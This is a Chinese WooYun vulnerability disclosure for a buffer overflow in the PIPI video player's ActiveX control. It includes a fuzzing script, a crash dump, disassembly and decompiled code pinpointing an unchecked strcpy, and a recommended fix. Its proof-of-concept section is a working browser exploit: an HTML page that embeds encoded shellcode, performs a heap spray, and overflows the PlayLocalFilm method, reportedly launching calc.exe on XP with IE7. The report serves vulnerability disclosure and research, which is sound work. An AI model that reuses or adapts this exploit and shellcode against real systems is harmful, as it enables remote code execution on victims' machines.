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缺陷编号：wooyun-2013-045440

漏洞标题：皮皮播放器Activex控件BOF漏洞

相关厂商：皮皮网

漏洞作者： 摸了你

提交时间：2013-12-10 10:43

修复时间：2014-03-07 10:44

公开时间：2014-03-07 10:44

漏洞类型：远程代码执行

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-12-10： 细节已通知厂商并且等待厂商处理中
2013-12-15： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2014-02-08： 细节向核心白帽子及相关领域专家公开
2014-02-18： 细节向普通白帽子公开
2014-02-28： 细节向实习白帽子公开
2014-03-07： 细节向公众公开

简要描述：

通用型漏洞,fuzzing...

详细说明：

1、下载最新版本皮皮播放器，使用ComRaider进行fuzz
fuzz生成文件

<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:A74BF134-5213-46B5-AF36-CE1888315DC7' id='target' />
<script language='vbscript'>
'File Generated by COMRaider v0.0.134 - http://labs.idefense.com
'Wscript.echo typename(target)
'for debugging/custom prolog
targetFile = "C:\pipi\PIPIWebPlayer.ocx"
prototype  = "Sub PlayLocalFilm ( ByVal lpFilmName As String )"
memberName = "PlayLocalFilm"
progid     = "PIPIWebPlayerLib.PIPIWebPlayerCtrl"
argCount   = 1
arg1=String(6164, "A")
target.PlayLocalFilm arg1 
</script></job></package>


ComRaider列表发现异常信息，seh链被覆盖成41414141，典型的BOF一枚。

Exception Code: ACCESS_VIOLATION
Disasm: 15B7DDF	MOV EAX,[EAX+4]	(PIPIWebPlayer.DLL)
Seh Chain:
--------------------------------------------------
1 	41414141 	
Called From                   Returns To                    
--------------------------------------------------
PIPIWebPlayer.15B7DDF         PIPIWebPlayer.15B6FEF         
PIPIWebPlayer.15B6FEF         PIPIWebPlayer.15F1B9E         
PIPIWebPlayer.15F1B9E         41414141                      
41414141                      41414141                      
41414141                      41414141                      
41414141                      41414141                      
41414141                      41414141                      
41414141                      41414141                      
41414141                      41414141                      
41414141                      41414141                      
41414141                      41414141                      
41414141                      41414141                      
41414141                      41414141                      
41414141                      41414141                      
41414141                      41414141                      
41414141                      41414141                      
41414141                      41414141


2、分析成因
Immunity Debugger,ida搞起,流程同上篇，此处略。
漏洞汇编地址在此处

01A91AF0   55               PUSH EBP
01A91AF1   8BEC             MOV EBP,ESP
01A91AF3   6A FF            PUSH -1
01A91AF5   68 48EAAD01      PUSH PIPIWebP.01ADEA48
01A91AFA   64:A1 00000000   MOV EAX,DWORD PTR FS:[0]
01A91B00   50               PUSH EAX
01A91B01   64:8925 00000000 MOV DWORD PTR FS:[0],ESP
01A91B08   81EC 68040000    SUB ESP,468
01A91B0E   A1 0869AF01      MOV EAX,DWORD PTR DS:[1AF6908]
01A91B13   33C5             XOR EAX,EBP
01A91B15   8945 EC          MOV DWORD PTR SS:[EBP-14],EAX
01A91B18   898D ACFBFFFF    MOV DWORD PTR SS:[EBP-454],ECX
01A91B1E   C745 FC 01000000 MOV DWORD PTR SS:[EBP-4],1
01A91B25   6A 08            PUSH 8
01A91B27   8B8D ACFBFFFF    MOV ECX,DWORD PTR SS:[EBP-454]
01A91B2D   81C1 90000000    ADD ECX,90
01A91B33   E8 6859FCFF      CALL PIPIWebP.01A574A0
01A91B38   8B85 ACFBFFFF    MOV EAX,DWORD PTR SS:[EBP-454]
01A91B3E   83B8 80050000 00 CMP DWORD PTR DS:[EAX+580],0
01A91B45   74 2A            JE SHORT PIPIWebP.01A91B71
01A91B47   8B8D ACFBFFFF    MOV ECX,DWORD PTR SS:[EBP-454]
01A91B4D   C781 84050000 00>MOV DWORD PTR DS:[ECX+584],0
01A91B57   6A 00            PUSH 0
01A91B59   68 60EA0000      PUSH 0EA60
01A91B5E   6A 14            PUSH 14
01A91B60   8B8D ACFBFFFF    MOV ECX,DWORD PTR SS:[EBP-454]
01A91B66   81C1 90000000    ADD ECX,90
01A91B6C   E8 FF58FCFF      CALL PIPIWebP.01A57470
01A91B71   8B95 ACFBFFFF    MOV EDX,DWORD PTR SS:[EBP-454]
01A91B77   C682 84040000 01 MOV BYTE PTR DS:[EDX+484],1
01A91B7E   8D4D 08          LEA ECX,DWORD PTR SS:[EBP+8]
01A91B81   E8 AA29FEFF      CALL PIPIWebP.01A74530
01A91B86   50               PUSH EAX
01A91B87   8D85 E4FDFFFF    LEA EAX,DWORD PTR SS:[EBP-21C]
01A91B8D   50               PUSH EAX
01A91B8E   E8 F1A30400      CALL <JMP.&MSVCR71.strcpy>
01A91B93   83C4 08          ADD ESP,8
01A91B96   8D4D 0C          LEA ECX,DWORD PTR SS:[EBP+C]
01A91B99   E8 4254FCFF      CALL PIPIWebP.01A56FE0
01A91B9E   0FB6C8           MOVZX ECX,AL
01A91BA1   85C9             TEST ECX,ECX
01A91BA3   0F84 01010000    JE PIPIWebP.01A91CAA
01A91BA9   8B95 ACFBFFFF    MOV EDX,DWORD PTR SS:[EBP-454]
01A91BAF   83BA 3C020000 00 CMP DWORD PTR DS:[EDX+23C],0
01A91BB6   0F84 EC000000    JE PIPIWebP.01A91CA8
01A91BBC   8D85 E4FDFFFF    LEA EAX,DWORD PTR SS:[EBP-21C]
01A91BC2   50               PUSH EAX
.....


01A91B8E E8 F1A30400 CALL <JMP.&MSVCR71.strcpy> 此处调用了strcpy没有检测数据的边界，导致BOF。
IDA看看反汇编成c的代码段

int __thiscall sub_67641AF0(void *this, char a2, int a3, int a4)
{
  const char *v4; // eax@3
  unsigned __int8 v5; // al@3
  int v6; // ecx@3
  const char *v8; // eax@17
  int v9; // ecx@28
  int v10; // ecx@30
  char *v11; // [sp-14h] [bp-488h]@39
  char *v12; // [sp-10h] [bp-484h]@39
  int v13; // [sp-Ch] [bp-480h]@18
  int v14; // [sp-8h] [bp-47Ch]@13
  int v15; // [sp-4h] [bp-478h]@13
  int v16; // [sp+0h] [bp-474h]@39
  int v17; // [sp+4h] [bp-470h]@31
  int v18; // [sp+8h] [bp-46Ch]@31
  int v19; // [sp+Ch] [bp-468h]@28
  int v20; // [sp+10h] [bp-464h]@28
  int v21; // [sp+14h] [bp-460h]@26
  int v22; // [sp+18h] [bp-45Ch]@13
  int v23; // [sp+1Ch] [bp-458h]@7
  int v24; // [sp+20h] [bp-454h]@1
  char **v25; // [sp+24h] [bp-450h]@39
  int *v26; // [sp+28h] [bp-44Ch]@31
  int *v27; // [sp+2Ch] [bp-448h]@28
  void *v28; // [sp+30h] [bp-444h]@25
  int v29; // [sp+34h] [bp-440h]@28
  int *v30; // [sp+38h] [bp-43Ch]@13
  void *v31; // [sp+3Ch] [bp-438h]@9
  void *v32; // [sp+40h] [bp-434h]@6
  int v33; // [sp+44h] [bp-430h]@9
  int v34; // [sp+48h] [bp-42Ch]@31
  int v35; // [sp+4Ch] [bp-428h]@28
  int v36; // [sp+50h] [bp-424h]@9
  int v37; // [sp+54h] [bp-420h]@17
  char Src; // [sp+58h] [bp-41Ch]@17
  char Dir; // [sp+158h] [bp-31Ch]@17
  char Source; // [sp+258h] [bp-21Ch]@3
  char Filename; // [sp+360h] [bp-114h]@17
  char Drive; // [sp+464h] [bp-10h]@17
  int v43; // [sp+470h] [bp-4h]@1
  v24 = (int)this;
  v43 = 1;
  sub_676074A0(8u);
  if ( *(_DWORD *)(v24 + 1408) )
  {
    *(_DWORD *)(v24 + 1412) = 0;
    sub_67607470(0x14u, 0xEA60u, 0);
  }
  *(_BYTE *)(v24 + 1156) = 1;
  v4 = (const char *)unknown_libname_80(&a2);
  strcpy(&Source, v4); //此处发生缓冲区溢出
  v5 = sub_67606FE0(&a3);
  v6 = v5;
  if ( v5 )
  {
    if ( *(_DWORD *)(v24 + 572) && strcmp((const char *)(*(_DWORD *)(v24 + 572) + 4), &Source) )
    {
      v32 = operator new(0x620u);
      LOBYTE(v43) = 2;
      if ( v32 )
        v23 = sub_6764F860(v32);
      else
        v23 = 0;
      v33 = v23;
      LOBYTE(v43) = 1;
      v36 = v23;
      strcpy((char *)(v23 + 4), &Source);
      *(_DWORD *)(v23 + 1076) = 0;
      v31 = *(void **)(v24 + 572);
      operator delete(v31);
      *(_DWORD *)(v24 + 572) = 0;
      v6 = v36;
      *(_DWORD *)(v24 + 572) = v36;
    }
  }
  else
  {
    sub_67655450(v24 + 488);
  }
  if ( *(_DWORD *)(v24 + 1384) )
  {
    v15 = 0;
    v14 = v6;
    v30 = &v14;
    v22 = sub_6761D410("BUTTON_FILMPLAYON");
    sub_6764DC80(v14, v15);
  }
  if ( (unsigned __int8)sub_67606FE0(&a2) && (unsigned __int8)sub_67606FE0(&a3) )
  {
    LOBYTE(v43) = 0;
    unknown_libname_13(&a2);
    v43 = -1;
    return unknown_libname_13(&a3);
  }
  unknown_libname_12(&a2);
  LOBYTE(v43) = 3;
  v15 = (int)&Src;
  v14 = (int)&Filename;
  v8 = (const char *)unknown_libname_80(&v37);
  splitpath(v8, &Drive, &Dir, (char *)v14, (char *)v15);
  unknown_libname_14(&Src);
  if ( !(unsigned __int8)sub_67606FE0(&a3) )
  {
    v15 = (int)&Src;
    v14 = a3;
    v13 = (int)&Dir;
    sub_67621A80((int)&v37, "%s%s%s%s.jfenc", (unsigned int)&Drive);
  }
  if ( *(_DWORD *)(v24 + 572) )
  {
    if ( !(unsigned __int8)sub_67606FE0(&a3) )
    {
      if ( (unsigned __int8)sub_67621AD0(0) )
      {
        v15 = *(_DWORD *)(v24 + 572) + 1036;
        if ( sub_67606F90((unsigned __int8 *)v15) )
          sub_67650200(v24);
      }
    }
  }
  if ( !*(_DWORD *)(v24 + 572) )
  {
    v28 = operator new(0x620u);
    LOBYTE(v43) = 4;
    if ( v28 )
      v21 = sub_6764F860(v28);
    else
      v21 = 0;
    v29 = v21;
    LOBYTE(v43) = 3;
    *(_DWORD *)(v24 + 572) = v21;
    v15 = unknown_libname_80(&a2);
    v14 = *(_DWORD *)(v24 + 572) + 4;
    strcpy((char *)v14, (const char *)v15);
    *(_DWORD *)(*(_DWORD *)(v24 + 572) + 1076) = a4;
    v15 = unknown_libname_80(&a3);
    v14 = *(_DWORD *)(v24 + 572) + 1036;
    strcpy((char *)v14, (const char *)v15);
    v15 = v9;
    v27 = &v15;
    v20 = sub_6761D410("TRACKBAR_FILMCTRL");
    v19 = sub_67620D80(v15);
    v35 = v19;
    if ( !v19 )
    {
      LOBYTE(v43) = 1;
      unknown_libname_13(&v37);
      LOBYTE(v43) = 0;
      unknown_libname_13(&a2);
      v43 = -1;
      return unknown_libname_13(&a3);
    }
    sub_6765E090(0, -1);
    if ( dword_676A5A60 )
    {
      v15 = v10;
      v26 = &v15;
      v18 = sub_6761D410("TRACKBAR_FILMCTRL");
      v17 = sub_67620D80(v15);
      v34 = v17;
      if ( !v17 )
      {
        LOBYTE(v43) = 1;
        unknown_libname_13(&v37);
        LOBYTE(v43) = 0;
        unknown_libname_13(&a2);
        v43 = -1;
        return unknown_libname_13(&a3);
      }
      sub_6765E090(0, -1);
    }
  }
  if ( *(_DWORD *)(v24 + 572) )
  {
    memset((void *)(v24 + 1196), 0, 0x54u);
    v15 = *(_DWORD *)(v24 + 572) + 1036;
    strcpy((char *)(v24 + 1196), (const char *)v15);
    *(_DWORD *)(v24 + 1260) = *(_DWORD *)(*(_DWORD *)(v24 + 572) + 1028);
    if ( *(_DWORD *)(v24 + 1192) )
    {
      v15 = -1;
      v14 = *(_DWORD *)(v24 + 1192);
      TerminateThread((HANDLE)v14, 0xFFFFFFFFu);
      *(_DWORD *)(v24 + 1192) = 0;
    }
    *(_DWORD *)(v24 + 1192) = beginthread(sub_6764C7D0, 0, v24);
    if ( *(_DWORD *)(v24 + 1192) == -1 )
      *(_DWORD *)(v24 + 1192) = 0;
  }
  v15 = (int)&Src;
  v14 = (int)&Filename;
  v13 = (int)&Dir;
  v12 = &Drive;
  v11 = &Drive;
  v25 = &v11;
  v16 = unknown_libname_12(&v37);
  sub_67642170((char)v11, (char)v12, v13, v14, (char *)v15);
  LOBYTE(v43) = 1;
  unknown_libname_13(&v37);
  LOBYTE(v43) = 0;
  unknown_libname_13(&a2);
  v43 = -1;
  return unknown_libname_13(&a3);
}


3、poc
ActiveX溢出最简单的莫过于Heap Spray
POC

<html>
<body>
<object classid='clsid:A74BF134-5213-46B5-AF36-CE1888315DC7' id="target"></object> 
<script>
shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;
while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);
while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();
for( counter=0; counter<200; counter++) 
memory[counter]= block + shellcode;
buffer='';
for( counter=0; counter<=1100; counter++) 
buffer+=unescape("%0D%0D%0D%0D");
target.PlayLocalFilm(buffer);
</script>
</body>
</html>


xp,IE7下弹出calc.exe
由于是典型BOF,ALSR,DEP,是可以写POC的，还是等下回吧，太懒了。

漏洞证明：

见详细。

修复方案：

strcpy要校验长度呀.

版权声明：转载请注明来源 摸了你@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-03-07 10:44

厂商回复：

最新状态：

2013-12-17：已修复，升级中。。。